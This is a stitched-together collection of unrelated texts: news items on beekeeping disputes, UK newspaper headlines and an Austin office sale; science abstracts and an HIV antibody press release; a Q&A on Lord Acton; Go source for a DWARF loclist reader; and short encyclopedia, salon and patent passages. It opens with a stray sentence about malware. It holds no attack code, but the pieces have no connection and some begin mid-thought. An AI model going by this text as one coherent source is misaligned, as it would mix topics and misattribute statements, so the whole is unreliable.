In all, this malware appears relatively innocuous as it doesn’t appear to compromise the security of the device and Microsoft is already working on a fix.
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Bee hives unwelcome in complex
Residents of Huntington Landmark senior community don't like the homeowners association sanctioning the hobby.
August 14, 2013|By Anthony Clark Carpio
Amy Cripps, with the Orange County Beekeepers Assn.,… (SCOTT SMELTZER,…)
Huntington Beach council members and residents are buzzing around the issue of where beekeepers should keep their hives.
Folks in the Huntington Landmark senior citizens community are clashing with their homeowners association for not addressing their concerns about nine hives being kept on the property.
Resident Tom Dern said he has been stung once and believes having the bees poses a threat to the older population within the community, located between Newland and Magnolia streets and Indianapolis and Atlanta avenues.
"I don't like the fact that I have to go to the city government because I'm not a big fan of government," he said. "Let people make their own decisions, but [the homeowner's association] won't make the decision here. I want to see the bees gone."
Marvin Garrett, a member of Landmark's HOA board and a proponent of the bees, said the beekeepers are housing only docile, European bees.
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"We're trying to preserve honey bees," he said. "Because so many of the honey bees are dying off, and they're trying to figure out why, we decided that instead of killing honey bees, we would keep them. What we're really doing is managing the location of honey bees."
To address the residents' concerns, an item to amend an existing ordinance regarding beekeeping was introduced at the Aug. 5 City Council meeting.
Existing city law states that a beekeeper's hives are to be located at least 200 feet from the residence. The proposed ordinance would have altered it so that hives would have to be kept at least 200 from any residence.
In essence, it wouldn't have banned beekeeping but could have made it near impossible because of the city's density, said Amy Cripps, president of the Orange County Beekeepers Assn.
Cripps said the group has around 250 members and that beekeeping is a hobby that's growing in popularity.
The Costa Mesa resident gave presentations at the recent Orange County Fair, where she explained that bees shouldn't pose a problem to others as long as they are properly maintained. However, some keepers selectively choose to keep feral species, like Africanized bees, in their hives, contributing to the insect's population decline.
"I don't know what these guys are doing in Huntington Beach, but I'm going to venture a guess that their bees are not European," Cripps said.
Council members unanimously voted to continue the item to the next meeting, allowing staff to talk to Cripps to find a better solution to allow beekeepers to continue their hobby while protecting residents.
"I didn't realize that it was that many people that collected bees for a hobby," Councilman Joe Carchio said. "I'm not begrudging anybody to do that in their house, but when you live in close proximity to other people, like in a condominium or senior park, that could present a little bit of a problem."
HOA members appear split.
"I don't think that we need to expose senior people to a bunch of bees," said board member Donna Brady. "We had plenty of bees in the wild before, but it's not the same when you start putting hives out for them." |
Newspaper headlines: Divorce law change and 'Boris' blonde' By BBC News
Staff Published duration 8 September 2018
image copyright AFP/Getty Images image caption The announcement that Boris Johnson and his wife Marina Wheeler are to divorce makes a number of Saturday's front pages
Divorce features heavily on Saturday's front pages - though for two quite different reasons.
Both the Times and the i lead with the government's plans to make it easier to obtain a no-blame divorce.
In an editorial , the Times notes the proposals may meet opposition among traditionalists in the Conservative Party or the Church - but it backs them.
The paper argues that, like any institution, marriage is strongest when participation is by consent, not coercion.
It also calls for further policies to modernise family law, such as ending discrimination against people who are in long-term relationships, but have not married.
Three of the papers lead on Boris Johnson's divorce and the claims surrounding his private life, assessing what difference - if any - they could make to his political fortunes.
The Sun reports that the former foreign secretary wined and dined a glamorous Tory aide in a restaurant on Valentine's Day.
It says that he was meant to be working at the time and that he was also - in the papers words - at "the centre of a Brexit storm".
In its front page article, the Daily Mail alleges that he was cheating on his wife at the height of the Chequers crisis and devotes five pages to the story.
But Mr Johnson can take heart from its poll suggesting two-thirds of voters do not think the claims of alleged infidelity make him unfit to be prime minister.
The Daily Mirror says , despite his private life becoming front page news, Mr Johnson is still preparing to mount a challenge to Theresa May.
No confidence vote
In its lead, the Daily Telegraph claims that a journalist working for the Iranian state broadcaster has infiltrated the north London constituency party of a Labour MP and is trying to undermine her.
It says the reporter - working for Press TV, which is banned from broadcasting in Britain - was able to take part in a vote of a no confidence in the MP, Joan Ryan, who represents Enfield North.
Ms Ryan, who chairs Labour Friends of Israel, has demanded that Iranian propagandists be ousted from the party.
Labour says it will not discuss individual members.
image copyright Labour Party image caption Joan Ryan chairs Labour Friends of Israel
Several of the papers cover the Swedish general election, ahead of polling this weekend.
Robert Hardman in the Daily Mail asks : "Why is the most liberal country in Europe lurching to the far right?"
He says discussion has been dominated by "crime and immigration", leaving many people talking openly about "a national identity crisis".
And he adds that although the nationalist Sweden Democrats have their roots in neo-Nazi yobbery, the party could end up holding the balance of power.
A contrasting view can be found in the Local - an English-language news site based in Sweden.
It criticises the overseas reporting of the country's election, warning "anecdotes about gang violence" is leaving readers with a false impression.
Voters, it says, are as exercised by "healthcare and schooling" as by crime and immigration, and it predicts the next government will not include any Sweden Democrat ministers.
'Jumpy' locals
The Telegraph reports that traffic signs could soon go up on the Isle of Man warning drivers to beware of... wallabies.
Two escaped from a local wildlife park in the 1970s, but since then their numbers have swelled to as high as 160, leaving surprised tourists swerving to avoid them. |
INTERCONTINENTAL REAL ESTATE CORP. PICKS UP 5TH+COLORADO
Jan 1, 2018
Boston-based Intercontinental Real Estate Corp. purchased 5th+Colorado, adding a trophy office tower to the Austin properties in its portfolio. Lincoln Property developed the 18-story tower in a partnership with Goldman Sachs. Opened in 2016, 5th+Colorado is one of a handful of office properties completed in a sea of residential towers, roughly in line with properties such as Colorado Tower, Frost Bank Tower and the recently opened 500 West Second St.
The Austin Business Journal reported earlier this year the sale of the tower could pull down $120M, which would be a record $670/SF in the Austin commercial market. Intercontinental praised the strategic location and strong mix of tenants.
“The acquisition of the 5th & Colorado office tower provides Intercontinental and our investors with yet another great opportunity in the Austin, Texas, market,” CEO Peter Palandjian said in a release. “This investment aligns perfectly with our strategy to target core investments in a highly dynamic market.”
Lead tenants include Indeed, co-working space Industrious and Plains Capital Bank, with an available 6K SF restaurant on the ground floor. But the property has not been without its problems, including a widely reported issue of falling debris last March. A subsequent city inspection found no code violations on the property.
InterContinental’s properties in Austin also include the Pressler and 5th Street Commons apartments, plus a portfolio of about 500K SF of office space in six properties outside of Downtown.
The tower, in the warehouse district, had a multiyear history in Austin’s development pipeline. Once a low-rise warehouse, the site originally was slated for a high-end hotel in 2010, followed by the announcement of plans for an office tower in 2014.” |
Q:
What did Acton mean by saying "absolute power corrupts absolutely"?
John Dalberg-Acton, 1st Baron Acton said that
"[p]ower tends to corrupt, and absolute power corrupts absolutely."
What did he mean by this? How might power compel evil or restrict free will?
A:
NOTE: This answer was given to a previous incarnation of this question. The block quotes I am responding to come from this incarnation. If I have the time I will modify my answer to respond more directly to this version of the question.
When a person is placed in a position of absolute power, is it necessarily true that this power will condemn that person to commit evil acts?
No, it isn't necessarily true, and that isn't a part of the claim Acton is making. Note the use of the word "tends". Many people have defended the possibility of a benevolent dictator. Plato's Republic advances an oligarchy of "Philosopher Kings", which he thought would produce the best society.
In effect, does power restrict free will?
I don't think there is any very interesting connection between these two concepts, if anything it seems to be the opposite. Someone with absolute (unchallengeable) power would be faced with no external compulsions and so (assuming the possibility of free will) would have the best chance at freely acting.
NOTE: The following is a bit of an aside that is only indirectly relevant, but which you may, nevertheless, find interesting.
There is, however, an interesting claim that Socrates makes in Plato's Gorgias:
I say, Polus, that both orators and tyrants have the least power in their cities, as I was saying just now. For they do just about nothing they want to, though they certainly do whatever they see most fit to do. (Gorgias, 466e)
This weird claim has to do with Socrates' denial of akrasia, or weakness of will, where you act against what you believe to be best. Essentially, the claim he makes here is tyrants who commit evil are, in fact, slaves to their stupidity (to put it rather crudely). For, Socrates contends, they are making mistakes in measurement and wrongly considering the evil act to be the best.
This is, in fact, a bit of a caricature of the view, at least it doesn't explain it fully. I just thought it was interesting in connection with your question and presents a view on which "doing whatever you see fit" is not to have great power. It is also a view on which someone with the ability to do whatever they see fit actually does very little that they want to do.
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Kinetics of halide release of haloalkane dehalogenase: evidence for a slow conformational change.
Haloalkane dehalogenase converts haloalkanes to their corresponding alcohols and halides. The reaction mechanism involves the formation of a covalent alkyl-enzyme complex which is hydrolyzed by water. The active site is a hydrophobic cavity buried between the main domain and the cap domain of the enzyme. The enzyme has a broad substrate specificity, but the kcat values of the enzyme for the best substrates 1,2-dichloroethane and 1,2-dibromoethane are rather low (3 and 3.5 s-1, respectively). Stopped-flow fluorescence experiments with substrate under single-turnover conditions indicated that halide release could limit the overall kcat. Furthermore, at 5mM 1,2-dibromoethane the observed rate of substrate binding to free enzyme was faster than 700 s-1 (within the dead time of the stopped-flow instrument) whereas displacement of halide by 5mM 1,2-dibromoethane occurred at a rate of only 8 s-1. The binding of bromide and chloride to free enzyme was also studied using stopped-flow fluorescence, and the dependence of kobs on the halide concentration suggested that there were two parallel routes for halide binding. One route, in which a slow enzyme isomerization is followed by rapid halide binding, was predominant at low halide concentrations. The other route involves rapid binding into an initial collision complex followed by a slow enzyme isomerization step and prevailed at higher halide concentrations. The overall rate of halide release was low and limited by a slow enzyme isomerization preceding actual release (9 and 14.5 s-1 for bromide and chloride, respectively). We propose that this slow isomerization is a conformational change in the cap domain that is necessary to allow water to enter and solvate the halide ion. A solvent kinetic isotope effect of 2H2O was found both on kcat and on the rate of halide release. 2H2O mainly affected the rate of the conformational change, which is in agreement with this step being rate-limiting and the overall stabilizing effect of 2H2O on the conformation of proteins. |
Let's start with turnovers. And not just turnovers, but turnovers at inopportune times and at inopportune areas of the field. From the Reggie Bush fumble, to the Tannehill pick 6. And honestly, I stopped watching the game in the 3rd quarter so I am not even sure what happened on the 3rd interception.
Preparation - this team obviously came out unprepared and were perhaps looking forward to the division game against the Bills. What did the coaches do this week?
Heart - this team showed no heart once it got down by three scores.
Defense - they allowed a 100 yard rusher for the first time in 22 games. The run defense and the running game have left the building. It is difficult to win games when you can't win in the trenches.
And where was the gameplan to contain a running quarterback with accuracy issues?
The Ugly
The Titans had something to prove after an absolutely embarassing loss to the Bears. Now the Dolphins have suffered an absolutely embarassing loss. How do you not prepare for the other team coming out with fire?
Overall
Not much to say here guys. This was an all around collapse. Worse home loss since 1968.
Thursday's game against the Bills will say a lot about these players and this coaching staff.
Thursday's game against the Bills will say a lot about these players and this coaching staff.
You hit the nail on the head. This was an overall bad performance. We looked flat in all three phases of the game. We flat out got whooped. How we respond this week will tell us a lot about the heart of this team. It's gut check time.
I think this game comes down to what is between the ears. Even from the beginning they didn't seem to be in the game mentally. Maybe they were thinking about the upcoming Bills game? I just have a hard time imagining Philben not impressing on them to win the game before them. I hate to say that they had a lack of heart, but what else can you say after watching that game. It was a total beat-down by one of the lesser teams in the NFL. |
Mit dem Computer verschmelzen Technikvisionäre planen eine Welt, in der Computer unsere Gedanken lesen. Auch das US-Verteidigungsministerium unterstützt Forschung in diese Richtung.
Heute kommunizieren manche Personen über eine Elektrodenkappe mit dem Computer. (Bild: Alexandra Wey, Keystone)
Der Unternehmer Elon Musk will wieder einmal die Welt retten. Er glaubt, dass intelligente Roboter uns eines Tages überlegen sein werden. Um zu verhindern, dass sie die Weltherrschaft übernähmen, müsse der Mensch über sich selbst hinauswachsen und mit der künstlichen Intelligenz verschmelzen. |
Newswise — LA JOLLA, CA—May 14, 2014—A vaccine or other therapy directed at a single site on a surface protein of HIV could in principle neutralize nearly all strains of the virus—thanks to the diversity of targets the site presents to the human immune system.
The finding, from a study led by scientists at The Scripps Research Institute (TSRI), is likely to influence future designs for HIV vaccines and antibody-based therapies.
“We found, for example, that if the virus tries to escape from an antibody directed at that site by eliminating one of its sugars, the antibody often can latch on to a neighboring sugar instead,” said TSRI Professor Dennis R. Burton, who is also scientific director of the International AIDS Vaccine Initiative (IAVI) Neutralizing Antibody Center and of the National Institutes of Health’s Center for HIV/AIDS Vaccine Immunology and Immunogen Discovery (CHAVI-ID) on TSRI’s La Jolla campus.
Burton was the senior investigator for the study, which appears in the May 15 issue of Science Translational Medicine.
Master of Disguise
HIV infection is nearly always fatal, if untreated, because the virus is extremely effective at evading the human immune response. Its main strategy is to cover its most exposed parts, the flower-like envelope protein (Env) structures that grab and penetrate host cells, with rapidly mutating decoy proteins and antibody-resistant sugar molecules called glycans.
Yet scientists in the past decade have managed to find a few accessible sites on Env where the protein and glycan structures don’t change much, because they are involved in crucial viral functions. Certain rare antibodies can grab these relatively unvarying structures and thereby neutralize a wide range of viral strains.
A future HIV vaccine would stimulate the immune system to produce high levels of such “broadly neutralizing antibodies,” to provide effective protection from HIV infection. To reach that goal, researchers need to understand better how these antibodies interact with their protein/glycan target sites, particularly when those sites differ, at least subtly, among viral strains.
Blocking Escape
In the new study, Burton’s team examined a vulnerable site on Env, known as the “high-mannose patch” for the frequency of molecules called mannoses on its glycans. Some of the most effective antibodies against HIV are targeted against this site. One, PGT121, was recently shown both to protect from new infection and to cause a long-term knockdown of established infection in macaque monkeys.
The high-mannose patch on Env is centered on a glycan attachment point designated as N332. At least one recent study has suggested that HIV can “escape” a broadly neutralizing antibody response by mutating in a way that shifts the glycan at this site from N332 to N334. But Burton’s team, including the two lead authors, graduate student Devin Sok and postdoctoral fellow Katie J. Doores, determined that many of the N332-directed antibodies can still neutralize the virus even when it shifts the glycan to N334.
“Escape does not necessarily follow a shift in the glycan site from N332 to N334,” Sok said.
In fact, the team found that a surprising number of antibodies directed at N332 or N334 continue to neutralize HIV even when no glycan is present at either site—apparently because they are able to grab other glycans within the high-mannose patch.
One of the implications of the study is that a broadly neutralizing antibody directed at HIV’s high-mannose patch doesn’t necessarily have a single defined target point—it might find different ways to bind to the available glycans with high enough affinity to neutralize the virus.
And although vaccine researchers have widely assumed that a successful HIV vaccine would have to target multiple vulnerable sites on the virus, the new findings suggest that they may not need to. For the sake of thoroughness, they still aim to do so, but in principle, targeting HIV’s high-mannose patch alone, with diverse types or clones of antibody, could neutralize a high proportion of viral isolates, perhaps 90%, and block most avenues of viral escape.
That appears to put the high-mannose patch at the top of the list of target sites for candidate HIV vaccines.
Other contributors to the study, “Promiscuous glycan site recognition by antibodies to the high-mannose patch of gp120 broadens neutralization of HIV,” were Bryan Briney, Khoa M. Le, Karen F. Saye-Francisco, Daniel W. Kulp, Jean-Philippe Julien, Sergey Menis, and Ian A. Wilson, all of TSRI; Alejandra Ramos, Lalinda Wickramasinghe, William R. Schief and Pascal Poignard, all of TSRI and IAVI, and Michael S. Seaman of Beth Israel Deaconess Medical Center. Katie J. Doores is now a researcher at Kings College, London.
The research was funded in part by the International AIDS Vaccine Initiative’s Neutralizing Antibody Consortium (SFP1849), the National Institutes of Health (R01 AI033292, AI84817, 1U19AI090970, UM1AI100663, 5T32AI007606-10), the Canadian Institutes of Health, and the Bill and Melinda Gates Foundation (38619).
IAVI’s work is made possible by generous support from many donors including: the Bill & Melinda Gates Foundation; the Ministry of Foreign Affairs of Denmark; Irish Aid; the Ministry of Finance of Japan; the Ministry of Foreign Affairs of the Netherlands; the Norwegian Agency for Development Cooperation (NORAD); the United Kingdom Department for International Development (DFID), and the United States Agency for International Development (USAID). The full list of IAVI donors is available at www.iavi.org.
About The Scripps Research Institute
The Scripps Research Institute (TSRI) is one of the world's largest independent, not-for-profit organizations focusing on research in the biomedical sciences. TSRI is internationally recognized for its contributions to science and health, including its role in laying the foundation for new treatments for cancer, rheumatoid arthritis, hemophilia, and other diseases. An institution that evolved from the Scripps Metabolic Clinic founded by philanthropist Ellen Browning Scripps in 1924, the institute now employs about 3,000 people on its campuses in La Jolla, CA, and Jupiter, FL, where its renowned scientists—including three Nobel laureates—work toward their next discoveries. The institute's graduate program, which awards PhD degrees in biology and chemistry, ranks among the top ten of its kind in the nation. For more information, see www.scripps.edu. |
package loclist
import (
"encoding/binary"
"github.com/go-delve/delve/pkg/dwarf/godwarf"
)
// Reader represents a loclist reader.
type Reader interface {
Find(off int, staticBase, base, pc uint64, debugAddr *godwarf.DebugAddr) (*Entry, error)
Empty() bool
}
// Dwarf2Reader parses and presents DWARF loclist information for DWARF versions 2 through 4.
type Dwarf2Reader struct {
data []byte
cur int
ptrSz int
}
// NewDwarf2Reader returns an initialized loclist Reader for DWARF versions 2 through 4.
func NewDwarf2Reader(data []byte, ptrSz int) *Dwarf2Reader {
return &Dwarf2Reader{data: data, ptrSz: ptrSz}
}
// Empty returns true if this reader has no data.
func (rdr *Dwarf2Reader) Empty() bool {
return rdr.data == nil
}
// Seek moves the data pointer to the specified offset.
func (rdr *Dwarf2Reader) Seek(off int) {
rdr.cur = off
}
// Next advances the reader to the next loclist entry, returning
// the entry and true if successful, or nil, false if not.
func (rdr *Dwarf2Reader) Next(e *Entry) bool {
e.LowPC = rdr.oneAddr()
e.HighPC = rdr.oneAddr()
if e.LowPC == 0 && e.HighPC == 0 {
return false
}
if e.BaseAddressSelection() {
e.Instr = nil
return true
}
instrlen := binary.LittleEndian.Uint16(rdr.read(2))
e.Instr = rdr.read(int(instrlen))
return true
}
// Find returns the loclist entry for the specified PC address, inside the
// loclist stating at off. Base is the base address of the compile unit and
// staticBase is the static base at which the image is loaded.
func (rdr *Dwarf2Reader) Find(off int, staticBase, base, pc uint64, debugAddr *godwarf.DebugAddr) (*Entry, error) {
rdr.Seek(off)
var e Entry
for rdr.Next(&e) {
if e.BaseAddressSelection() {
base = e.HighPC + staticBase
continue
}
if pc >= e.LowPC+base && pc < e.HighPC+base {
return &e, nil
}
}
return nil, nil
}
func (rdr *Dwarf2Reader) read(sz int) []byte {
r := rdr.data[rdr.cur : rdr.cur+sz]
rdr.cur += sz
return r
}
func (rdr *Dwarf2Reader) oneAddr() uint64 {
switch rdr.ptrSz {
case 4:
addr := binary.LittleEndian.Uint32(rdr.read(rdr.ptrSz))
if addr == ^uint32(0) {
return ^uint64(0)
}
return uint64(addr)
case 8:
addr := uint64(binary.LittleEndian.Uint64(rdr.read(rdr.ptrSz)))
return addr
default:
panic("bad address size")
}
}
// Entry represents a single entry in the loclist section.
type Entry struct {
LowPC, HighPC uint64
Instr []byte
}
// BaseAddressSelection returns true if entry.highpc should
// be used as the base address for subsequent entries.
func (e *Entry) BaseAddressSelection() bool {
return e.LowPC == ^uint64(0)
}
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# TestOut
Name = TestOutCapabilities;
Version = 0.3;
Author = "HaaTa (Jacob Alexander) 2014-2018";
# Modified Date
Date = 2018-01-07;
# Enable define
Output_TestOutEnabled = "1";
Output_TestOutEnabled => Output_TestOutEnabled_define;
# Make sure RawIO is enabled
enableRawIO = 1;
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Astenois
Astenois (Latin pagus Stadunensis) was a pagus, the most basic division of territory in the Roman and Frankish empires. In the Middle Ages, it comprised the parishes of the deaconries of Sainte-Menehould and Possesse. Originally a part of Lotharingia, by the eleventh century its southern part belonged to the Holy Roman Empire and its northern part to the Kingdom of France. The original seat of its counts was at Le Vieil-Dampierre.
Traditionally, Astenois, Dormois and Castrice, the three eastern pagi of the archdiocese of Reims were held to belong to the empire. In the eleventh century, as part of a general fragmentation of power in the region, new counties were formed which did not correspond to ancient pagi but were instead named after their main castles. The county of Astenois, which did correspond to an old pagus, became known as the county of Dampierre after its rulers' chief fortress.
The counts of Astenois were originally a cadet branch of the counts of Toul. The county was produced through the division of the patrimony of Frederick II. The elder son, Renard III, received Toul, while the younger, Peter, received Astenois.
Astenois may originally have been a small fief of the bishops of Toul. It may have passed from the last count of the old line, Renard II, to the first count of the new, Frederick I, through the marriage of the latter to the former's daughter, Gertrude, at the same time as the bishop made Frederick count of Toul (1059). Frederick and Gertrude's son, Frederick II, then divided the patrimony for his sons.
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List of counts and lords
Peter
Frederick
Henry
Renard I
Renard II
Renard III
Renard IV
Anselm I
Anselm II
John I
John II
Notes
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Police search for driver in Glasgow hit and run
Two women struck, one in critical condition after hit and run in Pencader Corporate Center
Staff Reports
Police are looking for the car that was involved in a hit and run this morning in Glasgow that left two women injured.
At 7:30 a.m. Sept. 25, Delaware State Police said that a car struck a 52-year-old Wilmington woman and a 67-year-old Newark woman who were walking in the Pencader Corporate Center.
The driver and type of vehicle are unknown and the vehicle is possibly black in color, police said.
The women were walking eastbound on the side of the roadway on Corporate Boulevard approaching Lake Drive, police said. A car that was traveling eastbound on Corporate Boulevard struck them from behind while they were walking and drove off without stopping.
The 52-year-old woman was taken to the Christiana Hospital Trauma Center and admitted in critical condition with multiple traumatic injuries.
The 67-year-old woman was taken to the hospital and is being treated for non-life threatening injuries.
Police said that treatment and disposition are unknown at this point and the pedestrians' names are being with held pending next of kin notification.
Troopers are continuing to collect evidence at the scene to determine the make and model of the vehicle and are attempting to locate the driver that fled the crash.
Anyone with information in reference to this incident is asked to contact the Crash Reconstruction Unit at Troop 2 at (302) 834-2620 Ext. 278 or Delaware Crime Stoppers at 1-800-TIP-3333. |
[Interstitial pneumonia in patients with human T-cell lymphotropic virus type-1 infection].
Pulmonary involvement has been demonstrated in patients with human T-cell lymphotropic virus type-1 (HTLV-1)-associated myelopathy (HAM/TSP) or with HTLV-1 uveitis. Pulmonary lesions in these patients are characterized by T-lymphocyte alveolitis. Interestingly, HLTV-1-infected cells were markedly increased in bronchoalveolar lavage fluid (BALF) obtained from patients with HAM/TSP and those with HTLV-1 uveitis compared to asymptomatic HTLV-1 carriers. Furthermore, the proportion of HTLV-1-infected cells was much higher in BALF than in peripheral blood. These results suggest that increased HTLV-1-infected cells play an important role in evolution of T-lymphocyte alveolitis associated with HTLV-1 infection. |
Select Local Merchants
Ming Hair & Nail Spa offers so many beautifying treatments, it needed two locations just to handle them all. Both shops offer a full range of hair styling services, each of which begins with a complimentary consultation. This gives the client the opportunity to voice their goals, and the stylist time to decide whether the look will properly match the patron's facial features and those of the parrot on their shoulder. Cutting, coloring, and styling all fall within the staff's expertise, as do advanced treatments such as keratin straightening.
Meanwhile, at Ming's East Brunswick location?dubbed "shop no. 1"?aestheticians attend to skin with treatments ranging from European deep-cleansing facials to LED photo-rejuvenation. Those looking to pamper their hands and feet, on the other hand, can head to shop no. 2 in Green Brook, where spa manicures and pedicures can incorporate soothing extras such as hydrating masks, sugar scrubs, and detoxifying green tea soaks.
Technicians at Clearly Beautiful Nails use the 1064 Yag Laser to painlessly rid feet of infections, warts, and nail fungus. In addition to treating toes, the office rents and sells laser units and also creates foot-centered marketing materials for display in waiting rooms.
Soothing music and aromatherapy essences waft through The Pedi Spa, a pedicure-focused spa in which clients can recline in leather chairs perched beneath fabric canopies and hanging lamps. As guests sip glasses of sparkling water, technicians attend to extremities with one of nine luxurious pedicures, soaking feet to soften coarse heels and unwind the mind like a ball of yarn crowd-surfing across a sea of massage therapists. Guests can also indulge digits with manicures.
When the most basic pedicure offered includes a thorough foot massage, you know you're at a nail salon that values indulgence. And the pampering continues throughout each session at The Pedi Spa, as feet are treated to warm bubble soaks and fragrant exfoliation treatments. After toes have been transformed into perfectly relaxed puddles, nail technicians apply glossy coats of polish before sending patrons on their way. |
[Adaptive indication in outpatient psychodynamic short-term psychotherapy. Results of a prospective naturalistic research study].
Health care insurers in Germany fund long-term psychotherapy of up to 240 sessions as well as brief psychotherapeutic interventions of up to 25 sessions. In a former study, it was observed that a substantial proportion of interventions initially designed as brief psychotherapy were changed into long-term therapy. The present study investigated the criteria of such decisions to change treatment plans and is part of a more comprehensive auditing study in outpatient psychotherapy. Twenty-six psychotherapists in private practice participated in the study. During a 12-month recruitment period, 70 patients started with brief psychodynamic psychotherapy. Thirty-six therapies were evaluated according to the study protocol. The results provide evidence that motivation for psychotherapy, satisfaction with the results of therapy, persistence of psychological symptoms at the end of short-term intervention, and aspects of the patient's personality are factors predictive of treatment selection. Patients who changed from short-term to long-term therapy were more motivated towards their therapy (prognostic indication), displayed more severe symptoms, were less satisfied with the results of short-term psychotherapy (adaptive indication), and scored higher on the "structure of personality organization" parameter according to the OPD diagnostic system. |
Q:
Matrix Factorization algorithms for Recommender Systems
I need to learn about Matrix Factorization for recommender systems, so I downloaded this paper https://datajobs.com/data-science-repo/Recommender-Systems-[Netflix].pdf but I found it too shallow. It didn't explain the concepts in depth for me. So can you please recommend some good papers/resources to learn about the topic?
I need to learn about them so I can implement a matrix factorization model.
A:
Matrix factorisation is part of Numerical Linear Algebra (NLA). The following are some useful books in NLA and Data Mining / Statistical Learning.
The classic in NLA is Golub & Van Loan's Matrix Computations. Van Loan's webpage lists his books in and links to others.
A modern approach that's great for self-study, is Numerical Linear Algebra by Trefethen & Bau, partially available online on Trefethen's website. Bau was working at Google last I checked.
For a data mining focus, Numerical Linear Algebra and Applications in Data Mining by Lars Elden is available online.
A classic on the statistical side is Elements of Statistical Learning by Hastie, Tibshirani, and Friedman. The authors have graciously made available their entire book online. This requires a fair bit of mathematical background, but the introductions to each topic will be accessible more generally.
A lighter version of the above is Introduction to Statistical Learning with Applications in R, by the same authors plus Daniella Witten. This is also available online by the authors and provides useful R code.
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Hemolysis induced by streptolysin S: kinetics of hemoglobin and 86Rubidium release.
Hemolysis of human erythrocytes produced by streptolysin S (SLS) was investigated. Kinetic studies of hemoglobin (Hb) release exhibited typical for SLS latent phase with hemolysis 30-60 minutes after addition of the toxin. Hb release was preceded by efflux of 86Rubidium (86Rb) which started at 5th-15th minutes after addition of the toxin. In erythrocytes treated with 2 HU/ml of SLS about 100% of 86Rb was released after 15 minutes; no hemolysis was observed at this time. Incubation of blood cells in 0.3 M sucrose or 6% DMSO prevented SLS induced hemolysis. Trypan blue was also inhibitory. Bovine serum albumin acclerated 86Rb and Hb release. The possible mechanism of this phenomenon is discussed. The results obtained indicate that SLS-produced hemolysis of human erythrocytes is an osmotic process. |
Kuddly In The News: Dogster
We love dogs here at Kuddly, and we especially love the amazing Dogster magazine and website! We couldn’t be more honored and excited to be mentioned in this article about The World’s Most Popular Dog Names of 2015 this past week. How completely cool, and how fun to take a look at the most popular dog names of the year. We definitely know some awesome pups that have names on the list. Thank you, Dogster, for the great mention of Kuddly in the article! |
At its core, the NFL combine is a fantastic opportunity for teams to test everything about draft prospects except their on-field performance.
They see how fast and strong the players are, how they check out medically and how well they respond in an interview, even if some questions are borderline illegal.
For draft analysts, the combine is an opportunity to stick irrelevant labels on players such as "high ceiling" and "freak athlete," sexy terms often given to players whose draft stock relies heavily on factors other than on-field performance. Those players have flown up post-combine draft boards this week while players with impressive college careers have started to fall.
After a 4-12 season, the Lions aren't in the market for sexy. That's why they should pass on BYU defensive end Ezekial Ansah. He may be the next Jason Pierre-Paul, but he'll enter the league as a project.
Instead, they should use the No. 5 pick on a polished pass rusher, with the top targets being LSU's Barkevious Mingo, Georgia's Jarvis Jones and Florida State's Bjoern Werner. |
Reduction of Escherichia coli O157:H7 and Salmonella enterica serovar Enteritidis in chicken manure by larvae of the black soldier fly.
Green fluorescent protein-labeled Escherichia coli O157:H7 and Salmonella enterica serovar Enteritidis were inoculated at 10(7) CFU/g into cow, hog, or chicken manure. Ten- or 11-day-old soldier fly larvae (Hermetia illucens L.) (7 to 10 g) were added to the manure and held at 23, 27, or 32 degrees C for 3 to 6 days. Soldier fly larvae accelerated inactivation of E. coli O157:H7 in chicken manure but had no effect in cow manure and enhanced survival in hog manure. The initial pH values of the hog and chicken manure were 6.0 to 6.2 and 7.4 to 8.2, respectively, and it is surmised that these conditions affected the stability of the larval antimicrobial system. Reductions of E. coli O157:H7 populations in chicken manure by larvae were affected by storage temperature, with greater reductions in samples held for 3 days at 27 or 32 degrees C than at 23 degrees C. Pathogen inactivation in chicken manure by larvae was not affected by the indigenous microflora of chicken manure, because Salmonella Enteritidis populations in larvae-treated samples were approximately 2.5 log lower than control samples without larvae when either autoclaved or nonautoclaved chicken manure was used as the contaminated medium during 3 days of storage. Extending the storage time to 6 days, larvae again accelerated the reduction in Salmonella Enteritidis populations in chicken manure during the first 4 days of storage; however, larvae became contaminated with the pathogen. After 2 days of feeding on contaminated manure, Salmonella Enteritidis populations in larvae averaged 3.3 log CFU/g. Populations decreased to 1.9 log CFU/g after 6 days of exposure to contaminated chicken manure; however, the absence of feeding activity by the maggots in later stages of storage may be responsible for the continued presence of Salmonella Enteritidis in larvae. Transfer of contaminated larvae to fresh chicken manure restored feeding activity but led to cross-contamination of the fresh manure. |
Evert van Muyden
Evert Louis van Muyden (18 July 1853 Albano, Lazio – 27 February 1922 Orsay) was a noted engraver, illustrator and painter, born to Swiss parents. His brothers, Albert-Steven van Muyden (1849-1910) and Henri van Muyden (1860-1936) were also artists.
Biography
At first studying with his father, the painter Jacques Alfred van Muyden (1818–1898), Evert later lived and studied in Geneva at the Beaux-Arts, under Carl Steffeck in Berlin and under Jean-Léon Gérôme at the Paris Beaux-Arts. He worked in Rome between 1879 and 1884, concentrating on landscapes, and showing the clear influence of Corot. After 1885, he worked in Paris painting animals in the style of Antoine-Louis Barye. He virtually lived at the Museum National d'Histoire Naturelle in Paris and the Zoologischer Garten in Basle, creating hundreds of drawings and engravings of plants and animals. He was sought after as an illustrator of books, providing images for Champfleury's Contes choisis (Paris, 1899) and Emil Frey's Die Kriegstaten der Schweizer (Neuchatel, 1905). His engravings and book illustrations remained popular, overshadowing his occasional portraits and sculptures.
Gallery
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Category:Swiss illustrators
Category:20th-century printmakers |
This invention relates to a small-sized optical element and its manufacturing method, which is used for a light pickup lens of light pickup device and so on.
Lately, there are manufactured and on sale, various kinds of optical element of various sizes, such as large-sized optical elements used for telescope lenses and microscope lenses and small-sized optical elements used for light pickup lenses of CD (Compact Disc) and DVD (Digital Video Disc). These optical elements are usually manufactured through so called “injection molding” process in which specific resin corresponding to the application is injected into a prescribed die for molding, however on the surface layer of the mold, there occurs birefringence to some extent, created by a residual stress, and therefore, a light scattering phenomenon occurs on the surface layer to make it difficult to maintain the focal distance to be the wanted design value.
In Patent Document 1, it is described that the residual stress generated in a molded product can be relieved and birefringence generated in the mold can be minimized by means of annealing the product at a temperature below the glass transition-temperature after cooling (leaving as it is) at the room temperature.
[Patent Document 1] U.S. Pat. No. 3,055,443
